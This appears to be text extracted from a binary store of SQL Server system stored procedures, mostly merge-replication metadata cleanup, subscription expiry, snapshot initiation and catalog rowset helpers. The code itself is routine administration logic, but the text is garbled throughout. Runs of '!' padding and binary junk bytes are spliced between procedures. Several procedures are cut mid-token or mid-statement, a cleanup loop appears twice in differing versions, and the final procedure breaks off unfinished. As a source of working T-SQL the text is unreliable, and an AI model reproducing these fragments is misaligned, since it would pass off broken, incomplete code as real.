        substring(db_nic!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<K
<
)
:Lkname,1,1) >= @mergenickmin and 
        substring(db_nickname,1,1) <= @mergenickmax
        and substring(db_nickname,2,5) = @mergenicktail

    select @replnick= (select top 1 db_nickname from #results where [db_name] is null)
    while @replnick is not null
    begin
        select @subid= (select top 1 s.subid
                            from dbo.sysmergesubscriptions s where replnickname = @replnick)

        select @dbname= (select [db_name] from dbo.sysmergesubscriptions where subid = @subid)
        if @dbname is null
        begin
            set @dbname=@anonymousname
            set @servername= @unknownname
        end
        else
        begin
            select @servername = subscriber_server from dbo.sysmergesubscriptions where subid = @subid
        end

        update #results set [db_name]= @dbname, server_name= @servername 
                        where db_nickname = @replnick and [db_name] is null
        select @replnick= (select top 1 db_nickname from #results where [db_name] is null)
    end

    -- indicate which lineage entries stand for the current state of the row
    declare @firstreplnick binary(6)
    select @firstreplnick= (select db_nickname from #results where type = 'lineage' and position = 1)
    if (
            substring(@firstreplnick,1,1) < @mergenickmin or 
            substring(@firstreplnick,1,1) > @mergenickmax or
            substring(@firstreplnick,2,5) <> @mergenicktail
        )
    begin
        update #results set current_state= 'y' where type = 'lineage' and position = 1
    end
    else if @firstreplnick = 0x010000000000
    begin
        -- lineage format of SQL2000 and earlier
        update #results set current_state= @navalue where type = 'lineage' and position = 1
        update #results set current_state= 'y' where type = 'lineage' and position = 2
        update #results set current_state= @unknownvalue where type = 'lineage' and position > 2
    end
    else
    begin
        declare @cRelevantEntries int
        set @cRelevantEntries= cast(substring(@firstreplnick,1,1) as int)
        update #results set current_state= @navalue where type = 'lineage' and position = 1
        update #results set current_state= 'y' where type = 'lineage' and position > 1 and position <= @cRelevantEntries + 1
    end
    update #results set current_state= 'n' where current_state is null

    -- record lineage versions that are higher than the version in the first slot
    update #results set comment= @toohighlineageversion 
            where type = 'lineage' and
            position <> 1 and
            version > (select version from #results where position = 1)

    -- record colv versions that are higher than highest lineage version
    update #results set comment= @toohighcolvversion 
            where type = 'colv' and 
            not exists (select version from #results r where type = 'lineage' and r.version >= #results.version)
    
    -- deliver results
    if lower(@show collate SQL_Latin1_General_CP1_CS_AS) in ('both', 'row')
    begin
        select server_name, [db_name], db_nickname, version, current_state, rowversion_table, comment from #results where type = 'lineage' order by position
    end

    if lower(@show collate SQL_Latin1_General_CP1_CS_AS) in ('both', 'columns')
    begin
        select server_name, db_name, db_nickname, version, colname, comment from #results where type = 'colv' order by position
    end

    drop table #results
    return 0
qJp	qJ     while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) ppm from dbo.MSmerge_past_partition_mappings as ppm
            inner join #oldgens as og on (ppm.generation = og.gen) where ppm.tablenick = @artnick
        
            set @delcount= @@rowcount
        end
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mc from #oldgens as og inner join dbo.MSmerge_contents as mc 
                on mc.generation = og.gen and mc.tablenick = @artnick
            set @delcount= @@rowcount
            set @num_contents_rows= @num_contents_rows + @delcount
        end

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mt from dbo.MSmerge_tombstone as mt inner join #oldgens as og on (mt.generation = og.gen) where tablenick = @artnick
            set @delcount= @@rowcount
            set @num_tombstone_rows= @num_tombstone_rows + @delcount
        end

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) gpm from dbo.MSmerge_generation_partition_mappings as gpm inner join #oldgens as og 
                on (gpm.generation = og.gen)
            set @delcount= @@rowcount
        end
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mar from dbo.MSmerge_metadataaction_request as mar inner join #oldgens as og 
                on (mar.generation = og.gen)
            set @delcount= @@rowcount
        end
    
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) gh from dbo.MSmerge_genhistory as gh inner join #oldgens as og on (gh.generation = og.gen) where art_nick = @artnick
            set @delcount= @@rowcount
            set @num_genhistory_rows= @num_genhistory_rows + @delcount
        end

        -- get next article
        fetch next from article_curs into @artnick, @pubid
    end

    close article_curs
    deallocate article_curs
    drop table #oldgens
    return 0
    
Failure:
    close article_curs
    deallocate article_curs
    drop table #oldgens
    return 1

tode =  sp_executesql @register_stmt, 
                                N'@subwins_resolver sysname, @subwins_resolver_clsid nvarchar(60)',    
                                @subwins_resolver, @subwins_resolver_clsid
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @subwins_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @upload_resolver, @upload_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@upload_resolver sysname, @upload_resolver_clsid nvarchar(60)',  
                                @upload_resolver, @upload_resolver_clsid   
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @upload_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @sp_resolver, @sp_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@sp_resolver sysname, @sp_resolver_clsid nvarchar(60)',  
                                @sp_resolver, @sp_resolver_clsid                                    
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @sp_resolver)
        return 1
    END

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y`<(
-90$vb
create  procedure sys.sp_mergemetadataretentioncleanup
    (@num_genhistory_rows int = 0 output, 
     @num_contents_rows int = 0 output, 
     @num_tombstone_rows int = 0 output,
     @aggressive_cleanup_only bit = 0)
as
    declare @artnick int
    declare @gen bigint
    declare @retcode smallint
    declare @bi_view_objid int
    declare @cmd nvarchar(4000)
    declare @delbatchsize int
    declare @delcount int
    declare @applockname nvarchar(255)
    declare @cutoffdate datetime
    declare @DbPrincipal sysname
    declare @curdate datetime
    
    set @num_genhistory_rows= 0
    set @num_contents_rows= 0
    set @num_tombstone_rows= 0

    SET XACT_ABORT ON

    -- Security check
    exec @retcode= sys.sp_MSrepl_PAL_rolecheck
    if @retcode <> 0 or @@error <> 0
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'

    -- if somebody else is already cleaning up in this database, we simply return
    set @applockname= 'MS_sp_mergemetadataretentioncleanup' + convert(nvarchar(11), db_id())
    exec @retcode= sp_getapplock @Resource= @applockname, @LockMode= 'Exclusive', @LockOwner= 'Session', @LockTimeout= 0, @DbPrincipal = @DbPrincipal 
    if @@error <> 0 or @retcode < 0 return (0)
    
    set @delbatchsize= 5000
    
    exec @retcode = sys.sp_MSmerge_subbased_downloadonly_metadatacleanup @num_genhistory_rows output, @num_contents_rows output, @num_tombstone_rows output
    if @@error <> 0 or @retcode <> 0
    begin
        select @retcode = 1
        goto ReleaseAppLockAndExit
    end
        
    if @aggressive_cleanup_only = 1    -- just do aggressive cleanup of single-hop articles and don't update 
                                -- last cleanup time.
    begin
        select @retcode = 0
        goto ReleaseAppLockAndExit
    end
    
    create table #oldgens (artnick int, gen bigint unique clustered, genstatus tinyint not null, coldate datetime not null)

    -- iterate over all articles that do not belong to a publication with infinite retention
    declare article_curs cursor local fast_forward for 
        select distinct nickname from dbo.sysmergearticles where 
            nickname not in (select distinct a.nickname from dbo.sysmergearticles as a inner join dbo.sysmergepublications as p on (a.pubid = p.pubid) 
                                where isnull(p.retention,0) = 0) 
        for read only

    open article_curs
    fetch next from article_curs into @artnick

    while (@@fetch_status <> -1)
    begin
        select @curdate = getdate()
        select @cutoffdate = null
        -- find max retention of all pubs the article belongs to.
        -- add some safety margin to compensate for different clock speeds
        select @cutoffdate = min(sys.fn_subtract_units_from_date(isnull(retention,0), retention_period_unit, @curdate))
                                from dbo.sysmergepublications where
                                pubid in (select pubid from dbo.sysmergearticles where nickname = @artnick)
                
        truncate table #oldgens
        
        insert into #oldgens select distinct @artnick, generation, genstatus, coldate from dbo.MSmerge_genhistory where
                                 art_nick = @artnick and
                                genstatus in (1,2) and
                                coldate < @cutoffdate

        -- go to next article if this one has no stale generations
        if @@rowcount = 0
        begin
            fetch next from article_curs into @artnick
            continue
        end
        
	

        exec @retcode = sys.sp_MSexpire_dynamic_snapshots_affected_by_cleanup
        if @retcode<>0 or @@error<>0 goto Failure
        
        exec @retcode = sys.sp_MSmark_expired_subscriptions
        if @retcode<>0 or @@error<>0 goto Failure
        
        -- set highest version in dbo.sysmergearticles
        exec @retcode= sys.sp_MSsethighestversion @artnick= @artnick
        if @retcode<>0 or @@error<>0 goto Failure

        -- clean up contents, tombstone, before image (if it exists), genhistory

	
    
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
			-- TAKE a table lock on MSmerge_contents to avoid deadlocks on the  DML trigger (390932)
			begin transaction
			select NULL from dbo.MSmerge_contents with(TABLOCK ,HOLDLOCK) where 1=2

            delete top (@delbatchsize) cpm from dbo.MSmerge_current_partition_mappings as cpm with (rowlock)
            where cpm.tablenick = @artnick 
            and exists
                (select mc.tablenick, mc.rowguid from dbo.MSmerge_contents as mc inner join #oldgens as og 
                    on (mc.generation = og.gen) 
                    where mc.tablenick = @artnick
                    and mc.tablenick = cpm.tablenick
                    and mc.rowguid = cpm.rowguid)
                    
            set @delcount= @@rowcount
			commit  transaction
        end
	
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) ppm from dbo.MSmerge_past_partition_mappings as ppm
            inner join #oldgens as og on (ppm.generation = og.gen) where ppm.tablenick = @artnick
                    
            set @delcount= @@rowcount
        end
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mc from dbo.MSmerge_contents as mc inner join #oldgens as og on (mc.generation = og.gen) where mc.tablenick = @artnick
            set @delcount= @@rowcount
            set @num_contents_rows= @num_contents_rows + @delcount
        end

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mt from dbo.MSmerge_tombstone as mt inner join #oldgens as og on (mt.generation = og.gen) where tablenick = @artnick
            set @delcount= @@rowcount
            set @num_tombstone_rows= @num_tombstone_rows + @delcount
        end

        set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles where nickname = @artnick)
        if @bi_view_objid is not null
        begin
            set @cmd= 'delete top (' + cast(@delbatchsize as nvarchar) + ') bi from ' + quotename(object_name(@bi_view_objid)) + ' as bi inner join #oldgens as og on (bi.generation = og.gen)'
            set @delcount= @delbatchsize
            while @delcount = @delbatchsize
            begin
                exec sys.sp_executesql @cmd
                set @delcount= @@rowcount
            end
        end

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) gpm from dbo.MSmerge_generation_partition_mappings as gpm inner join #oldgens as og 
                on (gpm.generation = og.gen)
            set @delcount= @@rowcount
        end
        
        -- We do not clean up MSmerge_metadataaction_request, because reenumeration
        -- requests would be lost. Those rows get cleaned up by the corresponding
        -- ins/del/upd procs, so we should be fine.

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) gh from dbo.MSmerge_genhistory as gh inner join #oldgens as og on (gh.generation = og.gen) where art_nick = @artnick
            set @delcount= @@rowcount
            set @num_genhistory_rows= @num_genhistory_rows + @delcount
        end

        -- get next article
        fetch next from article_curs into @artnick
    end

    close article_curs
    d!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:<

 F&C &0>'@ 
8--
-- Name: sp_MSdodatabasesnapshotinitiation
--
-- Description: This procedure is called by the snapshot agent to perform the
--              the necessary (article & subscription) initiation procedures
--              when generating a snapshot from a database snapshot.
-- Parameter: @publication sysname (mandatory)
--
-- Notes: This procedure is assumed to be run within a transaction from the
--        snapshot agent. As such, no explicit error handling is performed
--        in it. This procedure will also return 1 immediately if one of the 
--        following is not true:
--        1) Caller is not member of db_owner role
--        2) Caller is not a replication agent connection
--        3) @@trancount < 1
--
-- Returns: 0 - succeeded
--          1 - failed
--  
-- Security: Public interface, non-db_owner caller will result in no-op
--
create procedure sys.sp_MSdodatabasesnapshotinitiation (
    @publication sysname
    )
as
begin
    set nocount on

    if @@trancount < 1 return 1

    if sessionproperty('replication_agent') <> 1 return 1

    if object_id(N'dbo.syspublications', 'U') is null return 1

    declare @retcode int
    set @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    declare @qualifiedname nvarchar(520),
            @objid int,
            @articletype tinyint,
            @pubid int,
            @repl_freq tinyint,
            @error int

    set @pubid = null
    set @error = 0

    select @pubid = pubid,
           @repl_freq = repl_freq
      from dbo.syspublications
     where name = @publication

    if @pubid is null return 1

        update dbo.syssubscriptions
           set status = 3
          from dbo.syssubscriptions subs
    inner join dbo.sysextendedarticlesview arts
            on subs.artid = arts.artid
         where arts.pubid = @pubid
           and (subs.status in (0, 1) and subs.sync_type = 1 
                or subs.srvid = -1)

    update dbo.sysarticles
       set status = status | 1
     where artid in
        (select subs.artid
           from syssubscriptions subs
     inner join dbo.sysarticles arts
             on subs.artid = arts.artid
          where arts.pubid = @pubid)

    update dbo.sysschemaarticles
       set status = status | 1
     where artid in
        (select subs.artid
           from syssubscriptions subs
     inner join dbo.sysschemaarticles arts
             on subs.artid = arts.artid
          where arts.pubid = @pubid)

    exec @retcode = sys.sp_replflush          
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<f
?}0f* 
8create procedure sys.sp_MSsetfilteredstatus @object_id int, @forceset bit = 0
as
    declare @qualified_name nvarchar(517)
    		,@retcode int
    		,@setFlag bit
		,@pkkey sysname
		,@source_table sysname
		,@fcdc_tracked bit
		
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    exec sys.sp_MSget_qualified_name @object_id, @qualified_name output

    BEGIN TRANSACTION
	declare @cdc_tracked_tables table (object_id int)
	
	if object_id('cdc.change_tables') is not null
	begin
		insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
	end
	if (@@rowcount = 0)
		set @fcdc_tracked = 0
	else
		set @fcdc_tracked = 1

    if not (@qualified_name is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        if @@error <> 0
            select @qualified_name = null
    end

    if @qualified_name is null
    begin
        raiserror(18750, -1, -1, 'sp_MSsetfilteredstatus', 'object_id');
        goto error_abort_exit
    end

    if exists( select * from sys.objects where type = 'RF' and parent_object_id = @object_id )
      or exists( select * from sysarticles A join syspublications P on A.pubid = P.pubid where A.objid = @object_id and (P.allow_queued_tran = 1 or P.allow_sync_tran = 1))
      or exists( select * from sysarticles where objid = @object_id and (upper(upd_cmd) like 'CALL%' OR upper(upd_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles where objid = @object_id and (upper(del_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles sa, syssubscriptions ss where sa.objid = @object_id and sa.artid = ss.artid and ss.status = 3)
      or @forceset = 1
    begin
        EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 1)
    	set @setFlag = 1
    end
    else 
    begin
		if (@fcdc_tracked = 0)
	       EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 0)
    	set @setFlag = 0
    end

	--set/reset IsLoggedForRepl for all replicated column (except legacy blobs) depand on if has_replication_filter is set
	--this controls logging behavior of offrow columns in deletes 

	--don't clear the bits if table is still being tracked by cdc
	if(@setFlag = 1 or @fcdc_tracked = 0)
	begin
		declare #hpk cursor local fast_forward for
			select name from sys.columns where object_id = @object_id and is_replicated = 1 
					and system_type_id not in (34, 35, 99) --image, text. ntext
					and user_type_id not in  (34, 35, 99) --image, text. ntext
		open #hpk
		fetch #hpk into @pkkey
		while (@@fetch_status = 0)
		begin
			EXEC %%ColumnEx(ObjectID = @object_id, Name = @pkkey).SetLogForRepl(Value = @setFlag)
			IF @@ERROR <> 0
			BEGIN
				select @source_table = object_name(@object_id)
				RAISERROR(15052, -1, -1, @source_table)
				return 1
			END     
			fetch #hpk into @pkkey
		end
		close #hpk
		deallocate #hpk        

		--in case of turning of has_replicate_filter, make sure IsLoggedForRepl is still set for base of pk/computed pk columns
		if(@setFlag = 0)
		begin
			exec @retcode = sp_MSSetLogForRepl @object_id
		    if @@ERROR <> 0 or @retcode <> 0
		        return(1)
		end
	end
    COMMIT TRANSACTION
    return (0)

error_abort_exit:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE COMMIT TRAN
    return (1)
0c+ 8create function sys.fn_helpcollations
	(
	)

returns table
as
	return select * from OpenRowset(TABLE COLLATIONS)
0<@ 8CREATE view sys.dm_hadr_name_id_map
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_NAME_ID_MAP)
0%FL 8create function sys.fn_remote_column_privileges(
	@server		sysname,
	@catalog	sysname = NULL,	
	@schema		sysname = NULL,
	@table		sysname = NULL,
	@name		sysname = NULL,
	@grantor	sysname = NULL,
	@grantee	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_COLUMN_PRIVILEGES, @server, @catalog, @schema, @table, @name, @grantor, @grantee)
0 Z D8jhA2B07@ 
8create procedure sys.sp_MSmark_expired_subscriptions as
begin
    declare @min_sentgen bigint
    declare @max_delgen bigint
    
    select top 1 @min_sentgen = isnull(sentgen,0) from dbo.sysmergesubscriptions
    where status = 1
    and cleanedup_unsent_changes = 0
    order by sentgen 
    
    if @min_sentgen is null
        return 0
    
    if exists (select * from #oldgens where gen > @min_sentgen)
    begin
    
        select top 1 @max_delgen = gen from #oldgens
        order by gen desc
        
        -- If this is not a leaf level subscriber, or alt sync partners are being used, make all the generations being cleaned up
        -- look like local generations in the temp table #oldgens
		if exists (select * from dbo.sysmergepublications where publisher_db = db_name() and UPPER(publisher) = UPPER (publishingservername()))
		or exists (select * from dbo.sysmergepublications where allow_synctoalternate = 1)
		begin
			update #oldgens set genstatus = 1
		end
    
        update dbo.sysmergesubscriptions set cleanedup_unsent_changes = 1
            -- , status = case when replica_version < 90 then 2 else status end
        from dbo.sysmergesubscriptions sms1 join 
        (
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            join dbo.sysmergesubscriptions sms
            on sms.partition_id = gpm.partition_id
            and sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
            union all
            
            select sms.subid 
            from #oldgens og
            join dbo.sysmergesubscriptions sms
            on og.gen > @min_sentgen
            and og.genstatus <> 2
            and isnull(sms.partition_id,0) = 0
            and sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
                            
            union all
            
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            and gpm.partition_id = -1
            join dbo.sysmergesubscriptions sms
            on sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
            union all
            
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            join dbo.sysmergesubscriptions sms
            on sms.sentgen < og.gen
            and sms.partition_id = -1
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
        ) as sms2
        
        on sms1.subid = sms2.subid
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<X
e9x(0 ۛ 8
create procedure sys.sp_constr_col_usage_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @constr_catalog     sysname = null,
    @constr_schema      sysname = null,
    @constr_name        sysname = null
)
as
    select  *
    from
    (
        select
            TABLE_CATALOG       = db_name(),
            TABLE_SCHEMA        = schema_name(obj.schema_id),
            TABLE_NAME          = obj.name,
            COLUMN_NAME         = col.name,
            COLUMN_GUID         = convert(uniqueidentifier, NULL),
            COLUMN_PROPID       = convert(int, NULL),
            CONSTRAINT_CATALOG  = db_name(),
            CONSTRAINT_SCHEMA   = schema_name(obj.schema_id),
            CONSTRAINT_NAME     = obj2.name

        from
            sys.all_objects obj inner join
            sys.sysconstraints s_sc on (obj.type in ('S ', 'U ') and s_sc.id = obj.object_id and s_sc.colid <> 0) inner join
            sys.all_objects obj2 on (s_sc.constid = obj2.object_id),
            sys.all_columns col

        where
            (
                (@table_schema is null and obj.name = @table_name) or
                object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = obj.object_id
            ) and
            col.object_id = obj.object_id and
            col.column_id = s_sc.colid
    ) as my_result

    where -- ISSUE - PERF - There is no need of 2 nested selects. Incorporate it in the above select.
        (@column_name  is null or @column_name  = my_result.COLUMN_NAME) and
        (@constr_catalog is null or @constr_catalog  = my_result.CONSTRAINT_CATALOG) and
        (@constr_schema  is null or @constr_schema  = my_result.CONSTRAINT_SCHEMA) and
        (@constr_name  is null or @constr_name  = my_result.CONSTRAINT_NAME)

    order by 1, 2, 3, 4, 5, 6, 7, 8, 9
0V P8create procedure sys.sp_MScleanup_publication_ADinfo 
@name             sysname,
@database         sysname
AS

SET NOCOUNT ON

declare @mergepublish_bit    int
declare @tranpublish_bit    int
declare @cmd            nvarchar(640)

select @mergepublish_bit    = 4 
select @tranpublish_bit     = 1

/*
** Security Check
*/
select @cmd = quotename(@database) + '.sys.sp_MSreplcheck_publish'
exec @cmd
IF @@ERROR <> 0
    return (1)

if (select category & @tranpublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @cmd = N'update' + quotename(@database) + N'.dbo.syspublications set ad_guidname=NULL where name=N' + quotename(@name, N'''')
        exec (@cmd)
    end

if (select category & @mergepublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @cmd = N'update' + quotename(@database) + N'.dbo.sysmergepublications set ad_guidname=NULL where name=N' + quotename(@name, N'''')
        exec (@cmd)
    end
0Dz@ 8create procedure sys.sp_stoppullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@stop tinyint

    set @retcode = 0
    set @stop = 1

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSpullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop
    return @retcode 
end
0@ 8create procedure sys.sp_MSpurgecontentsorphans
as
    declare @retcode smallint
    
    create table #oldgens (artnick int, gen bigint)
    create unique clustered index ucOldgens on #oldgens(artnick, gen)

    -- find generations that exist in MSmerge_contents but not in MSmerge_genhistory
    insert into #oldgens (artnick, gen) select distinct tablenick, generation
            from dbo.MSmerge_contents
            where generation <> 0 and generation not in (select distinct generation from dbo.MSmerge_genhistory)
            
    exec @retcode = sys.sp_MSdelete_specifiedcontentsandtombstone
    drop table #oldgens
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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R(4000) = N'Error %d, Level %d, State %d, Procedure %s, Line %d, ' 
					+ 'Message: '+ ERROR_MESSAGE(),
        @ErrorNumber     INT = ERROR_NUMBER(),
        @ErrorSeverity   INT = ERROR_SEVERITY(),
        @ErrorState      INT = ERROR_STATE(),
        @ErrorLine       INT = ERROR_LINE(),
        @ErrorProcedure  NVARCHAR(200) = ISNULL(ERROR_PROCEDURE(), '-');

    RAISERROR 
        (
        @ErrorMessage, 
        @ErrorSeverity, 
        1,               
        @ErrorNumber,    -- parameter: original error number.
        @ErrorSeverity,  -- parameter: original error severity.
        @ErrorState,     -- parameter: original error state.
        @ErrorProcedure, -- parameter: original error procedure name.
        @ErrorLine       -- parameter: original error line number.
        );
0VԴ 	8
--
-- Name:
--		sp_ORAValidateRowFilter
--
-- Description:
--		Pre-Validate an Oracle row filter
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@owner			== table owner
--		@table			== table name
--		@columnmask		== mask identifying columns in article
--		@rowfilter		== row filter
--		@publisher_type	== publisher type
--
-- Returns:
--		Return rowset with a single int value (0 for valid row filter, 1 for invalid row filter)
--
--		Return code (0 for success, 1 for failure)
--
--		NOTE:	An invalid row filter is not a failure with respect to the return code.
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_ORAValidateRowFilter
(
	@publisher		sysname,
	@owner			sysname,
	@table			sysname,
	@columnmask		binary(128),
	@rowfilter		nvarchar(max),
	@publisher_type	sysname
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @mask		binary(128)

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- If this is an ORACLE GATEWAY publisher, set mask to article column
